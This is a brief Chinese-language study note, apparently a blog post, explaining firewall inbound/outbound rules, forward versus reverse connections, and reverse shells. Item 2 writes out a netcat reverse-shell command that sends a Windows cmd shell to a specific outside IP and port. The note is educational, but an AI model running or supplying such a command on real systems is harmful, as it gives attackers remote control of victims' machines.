先上个基础框架
晦涩的概念解释记录:(其实有些词语是表面高级,实际上理解之后就变得简单了)
1.防火墙入站出站:防火墙总是入站严,出站宽松。
2.例如,A是一个Windows主机,B是一个Linux主机,windows发出:nc -e cmd 47.94.236.117 5566(把cmd权限交给指定主机)
3.对于A来说,A建立的就是正向链接,他主动发出的请求。
4.对于B来说,B建立的是反向链接,他什么事都没有做,就获得了一个连接。
5.你去连接目标,就是正向连接。让目标连接你,就是反向链接。一般以自己的主机为标准
6.反弹shell:你拿到了目标机的电脑权限,然后你需要把他的cmd或者说bash传到你的主机上,这就是反弹shell。